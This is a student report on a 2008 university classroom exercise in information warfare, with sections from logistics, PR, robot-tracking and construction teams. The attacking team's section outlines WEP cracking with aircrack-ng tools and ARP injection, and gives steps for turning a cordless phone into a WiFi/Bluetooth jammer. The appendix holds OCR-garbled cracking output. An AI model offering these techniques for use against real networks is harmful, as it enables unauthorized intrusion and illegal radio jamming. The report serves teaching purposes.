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Introduction

The Spring 2008 semester’s IT 353 (Information Defense Technologies) class was responsible for learning about the role of information technology as a tool of warfare. A few of the topics discussed in the class included asymmetric warfare, asset tracking, espionage, psychological operations, reconnaissance and surveillance, GPS technology, satellite technology, and network centric warfare. The goal of the class was not only to learn about the previously stated topics, but also to use what was learned to complete a project / interactive exercise at the end of the semester. This paper is the documentation for the project.


The basic scenario for the exercise was as follows: there were two main teams; the Revolutionaries Against Tyrannical States (RATS) were a group of radical anarchists whose objective was to eliminate all forms of government everywhere. They were responsible for kidnapping the host, an assistant, and four contestants in the Miss Universal Democracy Pageant. The Coalition Alliance Treaty Syndicate (CATS) was a joint strike force that included elements from several nations, each of which had one or more of its citizens among the hostages that were taken. The CATS treated the RATS as a terrorist organization and the main mission for the CATS was to rescue the hostages with the help of satellite technology and imagery. The main mission for the RATS was to defend themselves, their “compound” and to stop the CATS from rescuing the hostages by attacking the CATS’ network. A more complete description can be found not only in each team’s section in this paper, but also on the project website, at this web address: http://mason.gmu.edu/~azuckers/IT353/ .


The class was split into eight separate teams to complete the exercise. The eight teams were: Logistics, Public Relations, CATS Project Managers, CATS Hardware and Software, CATS Communications, RATS Project Managers, RATS Construction, and RATS Hardware and Software. Each team’s objectives, activities, achievements, challenges, and lessons learned are included in this paper, beginning with the Logistics team.

Logistics
In general, logistics is a management function that involves managing, coordinating, and integrating transportation, inventory, the flow of information and resources, materials handling, and storage. Within the context of Information Warfare, logistics involves the acquisition of equipment and supplies, the coordination of resources (financial, personnel, and intelligence), and the support for the various entities involved in Information Warfare.  The logistics team (Tiffany Starks and Essien Ayanam) performed all of the aforementioned roles for the interactive exercise. 

The objectives of the logistics team included organizing the various resources needed for the exercise, coordinating the teams during both the rehearsal and the live exercise, acting as a liaison between Professor Lyons and the various teams, and documenting each team’s tasks and activities. 

In terms of the activities completed to reach the objectives, the logistics team’s first task was to create a map of the exercise site and surrounding areas. Measurements were taken and the map was “drawn” using Microsoft Visio. The map is shown below. A larger version is in Appendix A as Figure 1. The team also reserved the exercise site and parking spaces.
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Figure 1
Another important task was to obtain GPS measurements for the CATS team. The table containing the GPS data is shown below. 
[image: image2.png]MAP LOCATIONS SET1 SET2
A N 38'45.5219 N 38’45.5190
W 077°31.1684 W 077°31.1696
B N 38'45.4979 N 38'45.4925
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Figure 2
The team also served as a point of contact for the teams and Professor Lyons, as well as assisting with the coordination of the teams during the rehearsal and final exercise. Finally, the logistics team provided refreshments for team members and guests on the day of the final exercise.


The overall achievement for the logistics team was effectively completing the tasks required for the exercise and reaching all of the objectives. Specifically, the team provided delicious refreshments, made sure that the field was reserved (for a rehearsal date, the actual exercise date, and a rain date), ensured that every team had the supplies necessary for their specific tasks, and served as the right-hand man / woman to Professor Lyons.


The team faced a number of obstacles/challenges during the course of the semester. The first major obstacle was obtaining the correct GPS coordinates for the CATS team. Unfortunately, the first set of coordinates was incorrect due to equipment error and the assignment had to be repeated. The team also had difficulties communicating its needs to the Prince William Building Operations in terms of obtaining permission to place a camera on the roof to record the exercise and having the correct parking spaces blocked off for the exercise. The last challenge the team faced was ensuring that the team-specific information was not disclosed to the other groups. 

The logistics team took away a few key lessons from the exercise.  First, starting the documentation process from the beginning of the semester is necessary, not only for good practice but also for accurate and timely descriptions of the activities that occurred during the semester.  Furthermore, future teams should inform more of the mason community about the exercise to generate more interest for the class and to showcase the new wave of technology currently being used in the AIT department. 

Public Relations

The public relations team had the responsibility of acting as a messenger and spreading information using various psyops (psychological operations) techniques. The PR team chose to use the Internet as a means to efficiently reach the audience for both the CATS and RATS teams. 
In order to achieve this goal, the team made three different websites: one that included the viewpoints of the CATS, another that included the viewpoints of the RATS, and a third, which was a news agency that gave timely updates on what was happening in terms of the progress of either of the teams.
The Public Relations team also made a beauty pageant video to show how and when the hostages were abducted. This was used to support the scenario of the host, an assistant, and four contestants in the “Miss Universal Democracy” pageant being kidnapped from a seaside resort. “Miss Masonia” was one of the kidnapped contestants. A videotaped message from the RATS showed the hostages were alive. The PR team was responsible for videotaping this message and making it available for everyone to see.  The scene was set in the back of the Price William building since the RATS were located in a mountainous region, making it seem as if they were standing in a jungle-like area near those mountains. The team also made a video of a news conference, to let the public know what the progress of the CATS was in terms of rescuing the hostages and destroying the plans of the RATS.
Concurrently, the team was working on the three websites mentioned above. There were some
challenges in realizing this section of the project; the biggest issues were making the websites compatible with all browsers and creating the news article content for the site. Additionally, there were some technical problems, such as getting the flash movies to function properly. Furthermore, the team also took pictures to add on to the websites of other team members working at the project while the project was still under construction and when the project came live on launch day. The team also came up with logos for both the CATS and RATS teams and a “t-shirt” design for the project. However, due to the budget being out of range, the shirts could not be ordered as initially planned.
CATS Project Managers

The CATS project management team consisted of three team members. Playing the role of the general was Mathew Francis, secretary of state was Nam Doan, and assistant to the commander in chief (CIC) Lyons was Chris Clark. The management team had the following objectives: create and follow Rules of Engagement (RoE), setup and configure a Command and Control Room, and manage the overall success of the project. Additionally, as the team that oversaw the actual use and implementation of the technology developed in this project, the Project Management team had the following operational goals: gather information about the RATS camp, use that information to establish the location of any hostages, take all necessary steps to free the hostages, and eliminate any potential terrorist threat.
To fulfill the specified objectives, the CAT PMs did the following: 

The PMs wrote a document establishing Rules of Engagement for the operation. The RoEs were designed to limit the usage of force on the RATS group and ensure compliance with national and international law. Please refer to Figure 2 in Appendix A for the complete RoE list.
A timeline was created to track the progress of the project and ensure all sub-teams were consistently working on their individual parts. Please view the attached file “Managementtimeline.xls” for 

a complete timeline of the project. 
A weekly progress report detailing individual sub-teams’ work progress was gathered and
recorded by the management team to brief the CIC before every class period. To view a sample weekly report, please see Figure 4 in Appendix A. Additionally, the management team created a plan of action and fallback plans in an event of unforeseen events. 

Lastly, the management team took part in a press conference conducted by the PR team to inform the public of the hostage situation. 

On the technical side, the CAT PMs – along with a great deal of assistance from Professor Lyons – created a command and control center designed to facilitate the PMs usage of  “C4ISR” (command, control, communications, computers, intelligence, surveillance, and reconnaissance). The command and control center also served as a showcase for demonstrating the technology to outside observers. This entailed successfully setting up two projection screens to project the robot’s GPS data, which was relayed through a wireless router and network hub (Figure 3 below). The data was processed by GooPS, a Google Earth-based, real-time GPS mapping system (available at http://goopstechnologies.com/). A number of scripts and customizations were provided by Professor Lyons to enable GooPS to perform specific tasks like tracking the location of friendly forces.
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Figure 3

Though the PM team did not successfully complete all objectives, the overall outcome of the project was positive. The PM team successfully setup the command center to show the GPS location of the robots and video feeds from the robot and satellite. However, it was not perfect, as the GPS was not 100% accurate and satellite camera was not working due to network disruption by the RATS. The team implemented some of their strategies and followed the RoE as stated above to limit or avoid any civilian casualty and not use any unnecessary forces. The PMs were successful in using the robots to locate four of the hostages. The robot video also aided in identifying an important building vital for RAT communication—the radio tower. A missile fired from a destroyer strategically positioned in the gulf successfully destroyed the tower. After initiating the missile launch, the management team deployed the helicopter, of which was also stationed on the destroyer, to rescue the hostages. Unfortunately, the rescue operation was unsuccessful due to the helicopter being shot down by the RATS hidden anti-aircraft gun. It is believed that the RATS leader survived the attack; further details regarding the state of the RATS and hostages were unknown.
The CATS project management team faced a number of unexpected and expected obstacles.  Chief among them was the lack of testing and knowledge of equipment. 

As a team, the PMs did not fully understand the robot’s capabilities. This was due, in part, to the difficulty the CATS Hardware & Software team faced in setting up the robots. Had they been operational beforehand, the PMs would have been able to see how the robots fared outside, and could have devised alternative strategies. Had the teams collaborated more, they could have established and dealt with any ambiguities. If the project management team knew that the robot could not travel in certain areas due to terrain, then they would have acted accordingly. An alternative method to overcome that obstacle would have been implementing the robot with terrain maneuvering capabilities.
There were a number of technological shortcomings observed throughout the project’s life cycle. The cameras were very limited in what they could observe. The camera’s ability to zoom in and zoom out proved to be insufficient for this type of project. The controls for the camera on its GUI were also very sensitive. Although the camera was tested inside, its use outside – particularly with the sun shining right on it – proved problematic, as it seriously affected camera quality. 

There were also problems with the infrastructure. Communication between the satellite and the router was up and running a week before the day of the exercise. The satellite’s camera was very limited in range; in some instances, the feed from the satellite to the router to the computer seemed choppy. Moreover, on the day of the operation, the satellite camera was essentially out of action, limiting the PM’s ability to perceive the operational environment.

However, these difficulties did not happen in a vacuum: one of the biggest obstacles in this project was developing a plan against any enemy attacks. On the day of the exercise, the PMs did not know what the RATS team was doing to its communications system. The PMs had very little intelligence on what the RATS team would do, and therefore had little ability to predict or design countermeasures. Consequently, communication via the router was disabled until the CIC moderated their use of anti-wireless technology. 
The GPS margins of error also took the team by surprise. The CATS project management team expected every coordinate to be accurate. Due to errors in mapping and the fallibility of the GPS system on the robots, the GPS data did not line up with maps used by the PMs. The problem with having inaccurate coordinates translates to having inaccurate commands and procedures – and perhaps more importantly – increased deliberation and lags in decision making, as errors have to be accounted for and movements recalculated. These inaccuracies only exacerbated the problems caused by relatively short timeframe.
Both the CATS teams and RATS teams learned many important lessons throughout this project. In particular, the Project Management team gained hands on experience and learned just how hard it is to command an actual mission. Hardly anything goes exactly to plan on the day of the live exercise. One of the most important lessons obtained from this experiment was developing multiple plans. If one plan fails, you have several other options to work with. Obtaining as much intelligence as possible is crucial to the success of the project. Chances are you will lead a better mission if you know more about your enemy and their capabilities. Fully understanding your own technological capabilities is also a key point in planning a successful operation (“know yourself and know the enemy and in a hundred battles you will not be defeated” –Sun Tzu). The CATS project management team also learned to expect the unexpected. On the day of the live exercise a number of problems occurred. Rarely does anything go to plan exactly the way you want it—Murphy’s Law in action. 

To summarize, the CATS project management team was responsible for overseeing the CATS effort. The project management team was successful in getting the operations room up and running. Although a number of things went unexpected, the CATS project management team still succeeded in carrying out many of its operational goals. The CATS project management team gained a new appreciation of how difficult and complicated Information Warfare can actually be.

CATS Hardware / Software
The first of the CAT Hardware and Software team’s two main objectives was to enable the robots to capture the following mission critical data: GPS data (real-time whereabouts of the robots during the mission) and surveillance data (pictures taken of terrorists, the village, etc.).  The next objective was to facilitate communication of the aforementioned data to the control room to enable the generals to make informed decisions about the mission.

The CAT Hardware and Software team completed a large list of technical tasks in order to complete their objectives.  The first tasks they had to accomplish were almost always preceded by attempting to decipher the last semester’s documentation about that aspect of the project.  Understanding what was done last semester, although sometimes painful and time-consuming, was necessary in order to come to a starting point.


Almost every task they completed required them to connect to the robots, Cain and Abel.  Instructions on how to connect to the robots are located in appendix C.

After looking through last semester’s documentation, the team discovered that the robots were sent movement instructions via a web interface.  The interface is simply a table that contains various links that are movement instructions such as move forward, turn left, turn right, etc.  Upon clicking each link, a bash script called feedcreate is called with different parameters depending on the movement chosen.  The script then sends a specific set of integers to the robot via the serial port; which then gets interpreted and executed by the robot.


Having some Linux knowledge, the team was able to determine that the interface and script were both located in the default document root for Apache on Linux boxes, /var/www.  The team was then able to call the feedcreate script with the appropriate parameters in order to get both robots moving as they had last year with and without the web interface.  Detailed descriptions of how the web interface is used can be found in appendix C.

The mission of the previous semester’s group was slightly different than this semester’s group.  This semester, the front robot was supposed to gather surveillance data and then send it to the rear robot.  The rear robot was then supposed to route the data back to the satellite.  The rear robot had to receive movement instructions for it and also forward/route movement instructions to the front robot accordingly.

In order to perform these actions the robots had to have the capability of performing basic routing tasks using iptables.  IPtables is a tool that allows administrators to create basic packet forwarding rules.  The team had to insure that both of the Gumstix did, in fact, have the required iptables packages.  After looking through the file structure on both Gumstix, the team realized that they did not have the required packages.

This meant that they had to flash the Gumstix with a build of the operating system that had all of the iptables packages that were required.  Of course, the team backed up all of the scripts the previous semesters had used prior to flashing the Gumstix.  Detailed instructions on how the Gumstix were flashed can be found in appendix C.

One of the team’s goals was to attempt to add some sort of autonomy to the robots this semester.  Once the method previous groups used to move the robots was understood, team members began conducting research.  However, due to time constraints and the fact that other more important tasks (e.g. gathering and transmitting GPS and surveillance data) had not been completed, the autonomy efforts were halted early on in the semester.

The CAT hardware/software team was able to accomplish a large majority of its goals due to the many hours of work that team members Jarrod and Matt were able to volunteer outside of class meetings.  They were able to understand and replicate the way the robots were controlled/moved in the previous semester.  They were also able to replicate the way the surveillance data (photos) were gathered in the previous semester.  

Possibly the greatest area of improvement from the previous semester, is that of gathering, transmitting, and presenting the GPS data.  In the previous semester, GPS data was gathered during the mission and logged in a file that sat on the Gumstix of the robots.  This semester the team enabled the robots to continuously gather the GPS data, truncate it as to remove unneeded data, send it to the satellite, and stream the GooPs data into Google Earth, so that the generals could monitor the robots’ movements in real time.

Although the mission was a success for the most part, there were some obstacles that the CAT hardware/software team encountered along the way.
During the semester one of the Gumstix had been acting up.  More specifically, the wireless board on one of the Gumstix would work intermittently.  The team would be connected to the Gumstix wirelessly and would lose signal randomly.  However, they were able to then connect via serial cable.  After simply cycling the power on the Gumstix, the wireless board would work again.  On the day of the mission, literally five minutes prior to the start of the mission, the wireless board stopped working again.  However, cycling the power on the Gumstix did not resolve the issue that time.  The mission was still successfully completed with one robot.

The original communication plan had the front robot communicating with the rear robot only and had the rear robot forwarding data from the satellite onto the front robot and vice versa.  At first the team had to completely flash the Gumstix because last semester’s build did not have the packages required to forward data as planned. After flashing the Gumstix the team had the front robot forwarding data onto the rear robot, and had the rear robot successfully receiving the data. The team could not get the rear robot to move from the ad-hoc (robot) side to the satellite (infrastructure side).  They eventually had to move the ad-hoc to infrastructure point to the satellite.  That is, the satellite had two interfaces to allow it to receive data from the robots (ad-hoc) and forward the data to the router (infrastructure).

Had the team not run into that problem, the rear robot would have been relied on to forward the data back and forth between the satellite and the front robot.  Since one of the robots died right before the start of the mission, they would not have been able to conduct the mission at all if they hadn’t made the satellite the link between the ad-hoc and infrastructure networks.
Another obstacle in terms of communication was that the range of the wireless on the Gumstix is fairly short.  During practice runs the team had been within around ten feet of the robots to insure they were working properly.  However, right before the mission started, they realized that the range of the Gumstix wireless wasn’t what they had imagined.  From about twenty feet away commands were not being sent in time for the robot to respond and move effectively.  So, the team member with the satellite laptop followed the robot from ten feet away during the mission to insure the robot moved as desired.

Although the majority of the work the CAT hardware/software team completed was very technical, they learned a good amount of practical lessons that they will be able to apply to real world situations.  The first of which is to hope for the best, but expect and prepare for the worst.  Had they not done so, they would not have been able to conduct the mission after one of the Gumstix stopped working only ten minutes prior to the start time.

The team also learned that good documentation is extremely important to a project’s success specifically if it is to be sustained or replicated by another party at a later date.  They had to spend a large amount of time weeding through old documentation in order to find useful information just to come to a logical starting point.  Some could argue that good documentation is more valuable than the work itself. 

CATS Communications 

The main objective of the CATS communications team (Brett Hoffman and Brian West) was to configure the satellite’s camera to work wirelessly over the terrorist camp so that the officials in the command center could get real-time visuals of the terrorist activities. The satellite needed to be constructed to exact dimensions given by Professor Lyons and needed to be stable enough to be slowly transported back and forth over the camp.

The largest activity involved with the CATS communication team was the construction of the satellite, which consisted of various lengths of PVC piping. Some of the joints near the top needed to be blow-torched to achieve the correct angle for construction. The network also needed to be properly set up so that the camera on the satellite could be seen properly. This involved connecting the main command center switch to a hub across the hall, which then connected to the wireless router located outside. The 

 wireless router was used for many of the team's communications, including the satellite camera, the robots communication to the command center, as well as the RAT team's work to sabotage and hack the router.
The network that had been set up prior to the live run fully accommodated the satellite’s camera

on the wireless setting, allowing the battlefield to be seen in the command center.  The construction of the camera holder, or satellite, went as planned using the specifications given by Professor Lyons; both the height and stability of the frame were correctly achieved and functioned well for the exercise.

The first challenge that the communications team ran into was allowing the camera to be wirelessly seen outside of the building.  Through trial and error, the team and Professor Lyons determined that the glass in the building had a reflective property that would not allow the wireless signal to be transmitted outside.  Therefore, the router needed to be physically outside on a picnic table for anything to be operational on the day of the exercise.  The next challenge was being able to set up the network for the CATS Hardware/Software team while still keeping the satellite camera wirelessly connected to the network.  In the end, a network key needed to be changed to allow the robot cameras to work, and due to network complications, the satellite camera could not be wirelessly connected to the network.  This meant that on the day of the exercise, the satellite could not be used to survey the village and potentially find the devastating anti-aircraft gun that shot down the CATS helicopter.  Furthermore, fundamental stability issues were encountered initially after construction of the satellite but they were quickly resolved by the application of more electrical tape around the mid-section of the frame.
The team primarily learned the difficultly of using a network being shared by many different entities. In addition to understanding, that even small changes, such as switching a network key for a single group, can have negative impacts on other groups.  In conclusion, when working with networks, no problem is a small problem when it comes to the live exercise, and coordination between the various teams is necessary at all times in order to ensure that everyone is doing their part and that all the gears are working in synchronization.
RATS Project Managers

The objective as RATS project managers was to organize the terrorist team in order to secure the base from potential military attack.  The two RATS project managers (Shawn Logan and Poria Moridzadeh) were given the objective of overseeing the progress of the RATS hardware/software team and RATS construction team.  These teams were set with weekly goals and reported back weekly with their progress.  The RATS project managers also carried out other miscellaneous tasks necessary for the project, including helping the CATS team with some research. 

The RATS project managers carried out the following activities:

· Construction of Anti-Air gun tent

· Initial imaging of location to be used 

· Dressing hostages and military men

· GPS mapping assistance

· Any assistance to hardware/software or construction as needed
The goals of the RATS team were met by doomsday; however, an attack was still executed on the base.  Unfortunately, all military personnel were lost, except for the main commander.  The RATS team was successful in stopping an additional anti-air assault on the base due to the defense in depth method used in protecting the base.

The RATS project managers came across no major obstacles.  The team did notice overall that given more time, the project might have been more of a success than what it was.

Defense in depth was the biggest lesson learned during this project as a RATS member.  To protect against a possible military attack, the team had to have multiple layers in order to stop them or make their job harder, some layers in which they got through.  These layers were:

1. Terrain, placing base between mountains

2. Wireless hacking and jamming

3. Anti Aircraft Gun

In addition, it was nice to use the latest technology when carrying out such operations. The latest technology gives significant advantages over the other team if they cannot keep up with the latest technology themselves. Surveillance was another important lesson learned and it proved why it was so important with the destruction of the helicopter. Gaining as much information as possible on the enemy is a key to warfare and it is important to survey as much as your technology and the terrain allows you.
RATS Construction
The RATS construction team’s objectives were to create a 1/6th scale town to be used in the project. The town was to include 4 houses made of light, sturdy, but easily destructible materials. One RATS command post, a communications tower, and a Town hall were also required. The materials the team used were balsa wood, approximately fifty thirty-two inch lengths of balsa wood ranging from 1/16 by 1/16 to 3/32 by 3/32 inch in size. The binders used for the construction included scotch, duct, and electrical tape, and glues including Elmer's, stick glue, ZAP adhesive (green bottle), and a hot glue gun.  To cut and measure the balsa, the team used a straight edge and measuring tape to mark the length, and Exacto knives and scissors to cut the wood. As a base for the houses, the team used thick poster board to support the rigid frames and provide a surface for the weights. The balsa houses were covered with tissue paper, double thickness for the last two houses built. For the two other buildings, the team used empty boxes covered in tissue paper (for the town hall) and cardboard and printer paper (for the RATS command). To keep everything in place, the team used zip lock bags filled with sand from the volleyball court.

Building procedures were as follows:

1. For the first house that was built, the team just wanted proof that a stable structure could be built. The team began by measuring and cutting holes in a sheet of poster board, then cutting upright supports for the house to the same length and securing those lengths vertically in the poster board. The scrap that was cut off the uprights was used to create crossbars; this formed the box structure that was the main body of the house. To install a roof, four pieces of wood (of the same length) were cut and attached to the uprights at 45-degree angles to form the roof. ZAP glue and hot glue were used to secure the structure. This structure was found insufficient and was reinforced with more scrap wood before it was covered with a single layer of tissue paper. This structure had no door.
2. For the second house, the team laid two same length uprights down in parallel on a piece of poster board and glued a cross bar to it—creating a wall. The wall was then held vertically and another upright and cross bar were glued to it, creating 2 walls with a 45 degree corner. The other two walls were constructed in a similar fashion. A roof was constructed in a similar fashion as the first house but included overhangs on the sides of the house. The house was then reinforced due to the use of tape and hot glue as binding material without the ZAP epoxy. The result was covered with a single layer of tissue paper and attached to the poster board with hot glue.

3. The third and fourth houses were constructed at the same time, with the construction method being that of the second house, but with ZAP epoxy and thicker uprights to strengthen the structure. Both of these houses were covered in two layers of tissue paper and had two doors and windows apiece. The doors and windows were artifacts of the covering method, that being to cover one side with both pieces of tissue paper then turn the house over and covering the other side, causing a strip on both ends of the houses to not have any covering on them. They were secured to poster board bases with ZAP epoxy.
4. The tower was constructed using four-foot wooden dowels provided by Professor Lyons.  A single square piece of balsa sheet was cut out to be the top of the tower. The bottom of the sheet had four pieces of balsa stock glued to it. The balsa stock was shorter than the square sheet and centered on the side of the sheet causing each of the sheet’s corners to have a square of uncovered space on it. A hole was then drilled into the sheet for the antenna followed by the four dowels being attached to the uncovered corners on the bottom of the balsa sheet. The dowels were appropriately spaced and were secured at the base using four lengths of balsa, creating a frame, which the dowels were secured to.  The team then used other balsa sticks to create a cross pattern around the tower, strengthening the frame. This was followed by using electrical tape to secure all the glued joints to help support the weight of the tower.

5. The final two buildings, the RATS command post and the town hall, were created using boxes. The RATS command post was covered in yellow paper with crosses on it, giving the appearance of brick.  The RATS command post was finished by using a piece of poster board as a roof.  The Town hall was covered in tissue paper and then given a wooden frame roof.
RATS Hardware / Software

The RATS Hardware / Software team’s (Navin Dhas, Brian Hatcher, and Chris Curts) goal was to attack the CATS network and collect, prevent, or manipulate data that was being sent over their network. The following is a brief overview of the hardware and software that was used for the project. 

· AirPcap Ex – 802.11a/b/g USB Wireless Adapter with an External Antenna Connector. Using the AirPcap EX driver solved initial problems the team ran into because of driver discrepancies with other software. By using the AirPcap driver, the team was able to focus on learning how to use cracking programs. 

www.airpcap.eu/
[image: image4.png]


www.cacetech.com/products/airpcap-ex.htm
· Wireshark – Network protocol analyzer. Wireshark enabled the team to see what kind of information the CATS team was relaying through the network. Free software: www.wireshark.org/
· Cain & Abel – Password recovery tool for Microsoft Windows Operating Systems. Free software: www.oxid.it/
· Airodump-ng – Used for packet capturing of raw 802.11 frames and is particularly suitable for collecting WEP IVs. Free Software: www.aircrack-ng.org/
· Aircrack-ng – Can recover the WEP key once enough encrypted packets have been captured with airodump-ng. Free Software: www.aircrack-ng.org/
The objectives for the RATS Hardware / Software team were to:
· Passively Attack the CATS Network

· Capture Packets & Unique WEP IVs

· Crack WEP Encryption

· Analyze Data Sent Over Network

· Perform a Replay Attack

· Jam WiFi & Bluetooth Airways

Passively attacking the CATS network, capturing packets and unique WEP IVs, cracking WEP, and analyzing the data being sent over the network all fall into this one process of achieving the main goal: Cracking WEP! First, to crack WEP, you will need the following HW/SW from the list above:

· A wireless card that can run in promiscuous mode (AirPcap Ex)

· Wireshark 

· Cain & Able

· Airodump-ng.exe

· Aircrack-ng.exe
NOTE: If you buy AirPcap, you can get the wireless card, airodump-ng.exe, and aircrack-ng.exe all in one. Make sure to move the cgyn.dll file into your System32 folder. A full, step-by-step “snapshot” tutorial on cracking WEP is in Appendix B (Figure 1). 

The team’s last objective was to jam the Bluetooth and WiFi airways to prevent the CATS’ autonomous robot (Bluetooth) from relaying important data back to the CATS router (WiFi). To do this, the team modified a 2.4GHz cordless phone:

[image: image5.jpg]


www.phonesdirect.ca/
First, the team took apart the back of the phone and attached speaker wire to the antenna leads on the inside of the phone in order to extend the antenna to broadcast the signal further. Once the phone has been put back together, you must duct tape all the numbers down as if they were all pressed in. Next, you can turn the cordless phone on and use the “Channel” button to switch to the appropriate channel in order to jam the airway. You can use multiple cordless phones to jam different channels at the same time. By default, Bluetooth is Channel 6 and Wireless is Channel 11. To watch a video on creating a WiFi and Bluetooth jamming device, visit: 

http://www.metacafe.com/fplayer/953946/how_to_build_a_wifi_and_bluetooth_jammer.swf . 


The biggest achievement was that the team successfully performed a passive scan on the CATS network and was able to inject ARP requests using Cain & Abel. Although the team was only able to collect about 14,000 unique WEP IVs, they still decrypted part of the CAT network key. 



One of the challenges faced was that there was difficulty setting the 2.4GHz cordless 
phone to a specific channel to jam the WiFi and Bluetooth airways. The team was unable to get the phone to stay on one specific channel; it would only scan through the channels. The team would recommend further testing of jamming Bluetooth and WiFi using cordless phones, as the team did not have to resort to using them. Although the video demonstrates a step-by-step procedure on how to build a jammer, all phones are different. Firsthand experience showed that some phones need the base station to be able to “jump” channels. 
Another challenge the team faced was that they were unable to fully crack the CATS’ WEP because of the lack of packets and unique WEP IVs that were captured. The CATS were having trouble    

with their router and since they were not sending enough information, the team could not capture enough packets.


One of the lessons the team learned from this project was that WEP IV is based on the pre-shared key and almost all packets have the IV appended onto the packet. 

The RATS hardware/software team feels that they were quite successful in stopping the CATS team attack. Future teams should implement more than one plan to stop the attack. More than likely, future projects will use better hardware; therefore, there should be multiple plans of deterring an attack. Since the team was able to stop the CATS attack with its first line of defense, the cordless phones, which had not been tested thoroughly, did not have to be used. 

Multiple computers should be used to resolve the issue of generating enough network traffic to the enemy router. There are multiple ways to generate traffic, which have been explained in this paper, and by using multiple laptops, the process of cracking WEP will be done faster. 
Appendix A
Figure 1: Map of Exercise Site & Surrounding Areas
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Figure 2: CATS Rules of Engagement (RoE)

Figure 3: CATS Backup Plans

Headquarters setup—short version: 

Plan A – 2+ computers and a number of handlers and support with specific roles

Plan B – 1 computer tended by a handful of other team members 

Plan C – 1 computer and the PMs run everything 

Elaboration:

Following yesterday's discussion, our (tentative) HQ setup will make use of two laptops:  one for command and control of the robot(s) and one for monitoring and analysis of data, mapping, etc. 

In the event of a plan B situation, one computer could probably do all the work but we would have to move fast to get decisions made. Two would free us to do analysis separately. We could end up using a third for photo and sound analysis. 

As for personnel, the HQ would need at least one CAT hardware/software team member to operate the robots via computer. Other functions – such as looking at images, tracking robot movement, listening to sounds, and determining locations for the robots to move – could potentially be filled by the PMs. Having more people on hand, especially from the tech teams, could smooth out that process. Additionally, there could be unforeseen circumstances at HQ (equipment failure, reporters asking questions, angry diplomats demanding our time, etc) which would be best handled by more bodies in the HQ. 
Figure 4: CATS Sample Weekly Report

CIC Lyons,

The communications team has set up GPS on the robot and has verified that it is working properly. So far, ad hoc is working between the robots (robot-to-robot communication). The communications team is still in the process of testing the communication between the satellite, which is to be placed outside, and the laptop. The software and hardware teams have gotten the gum sticks to work properly. The robots are functional at this point. Some of the build "root" stuff was done in Linux. The teams are still in the process of working on the robot's camera IP configuration and establishing a network connection. A lot of the networking part has already been done. The project management team needs to assign people for each task in our backup plans (plan B, or C). We still have to workout how to dissect parts of the field layout to ensure better navigation.

Appendix B

Figure 1: WEP Cracking Tutorial
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airerack-ng 0.9.1 r862

[60:00:181 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
16¢
FBC
48¢
71¢
FBC
DEC
3EC
21¢

479>
459>
463>
467>
432)
388>
371>
384)
375)
390>
373>
37%)
37>

20¢
15¢
27¢
ca<
8D¢
9FC
02¢
B3¢
BAC
A2¢
a1¢
D3¢
25¢

386>
382>
398>
385>
384)
380)
366>
376>
374)
378>
373>
37
371>

71356,1480000 keys (got 85245 IUs)>

26¢
a1¢
DBC
26¢
BCC
3B¢
BLC
4EC
FF¢
BAC
9FC
32¢
it

384>
382)
391>
385>
380)
373)
366>
373>
373>
37%)
373>
373>
370>

98¢
BCC
46¢
04¢
D4¢
FCC
16¢
A%<
88¢
08¢
6BC
BL¢
A%

378>
374)
385>
385>
378)
371>
366>
372>
372>
37
370>
370)
369>

o8¢
99¢
D%
6D¢
38¢
ap¢
82¢
5A¢
7EC
2B¢
63¢
89¢
DBC

372>
369>
383>
383>
372>
370)
364>
371>
372>
375)
368>
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
c1¢
90¢
9FC
Fa¢
39¢
ap¢
97¢
23¢

371>
368>
378>
383>
371>
367)
364>
369>
371>
374)
368>
369>
367>
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airerack-ng 0.9.1 r862

[60:00:211 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
9FC
D1¢
E3¢
46¢
23¢
63¢
CEC
21¢

479>
459>
463>
467>
432>
380)
376>
384>
370)
378)
361>
375)
37>

20¢
15¢
27¢
ca<
8D¢
3B¢
a1¢
B3¢
2F¢
BAC
A9¢
32¢
25¢

386>
382>
398>
385>
384)
373>
373>
37%)
369>
376>
360>
373)
371>

237640/1408008 keys (got 85245

26¢
a1¢
DBC
26¢
BCC
FCC
86¢
4EC
7F¢
28¢
08¢
BLC
c1c

384>
382)
391>
385>
380)
371>
371>
373>
369>
37%)
359>
370)
370>

98¢
BCC
46¢
04¢
D4¢
an¢
FBC
A9¢
95¢
2B¢
cc¢
89¢
A%

378>
374)
385>
385>
378>
370)
371>
372>
368>
375)
358>
369>
369>

o8¢
99¢
D%
6D¢
38¢
c1¢
82¢
5A¢
1B¢
39¢
56¢
97%¢
DBC

372>
369>
383>
383>
372>
367)
366>
371>
368>
374)
358>
369>
368>

31¢
20¢
E9¢
6A¢<
EEC
E8C
BLC
9FC
30¢
25¢
6BC
8a¢<
23¢
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Airerack-ng 0.9.1 r862

[60:00:311 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
16¢
86¢
BCC
DA¢
93¢
9FC
CEC
ca<

479>
459>
463>
467>
432)
388>
371>
392>
369>
390>
373>
375)
379>

20¢
15¢
27¢
ca<
8D¢
9FC
6C¢
16¢
95¢
23¢
DBC
32¢
c2¢

386>
382>
398>
385>
384)
380)
371>
386>
368>
378)
371>
373)
37%>

3632921408000 keys (got 85245

26¢
a1¢
DBC
26¢
BCC
3B¢
02¢
02¢
1B¢
BAC
D3¢
BLC
85¢

384>
382)
391>
385>
380)
373)
366>
384>
368>
376>
368>
370)
371>

98¢
BCC
46¢
04¢
D4¢
FGC
BLC
B3¢
30¢
8¢
10¢
89¢
c1<

378>
374)
385>
385>
378)
371>
366>
376>
366>
376>
368>
369>
370>

o8¢
99¢
D%
6D¢
38¢
an¢
16¢
4E¢
D4¢
2B¢
cc¢
97¢
A%

372>
369>
383>
383>
372>
370)
366>
373)
366>
375)
367>
369>
369>

31¢
20¢
E9¢
6A¢<
EEC
c1¢
82¢
A%¢
18¢
39¢
c1¢
8a¢
DBC
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Airerack-ng 0.9.1 r862

[60:00:481 Tested

hyteCuote

44¢
a5¢
43¢
a1¢
46¢
16¢
a1¢
02¢
D3¢
87¢
07¢
20¢
11¢

479>
459>
463>
467>
432)
388>
373>
382>
369>
378)
360>
375)
37>

20¢
15¢
27¢
ca<
8D¢
9FC
F2C
B3¢
95¢
BAC
08¢
2D¢
B5¢

386>
382>
398>
385>
384)
380)
371>
376>
368>
3%
359>
373)
371>

482118/1408800 keys (got 85245

26¢
a1¢
DBC
26¢
BCC
3B¢
6CC
4EC
1B¢
ga¢
cc¢
BLC
c1c

384>
382)
391>
385>
380)
373>
371>
373>
368>
3%
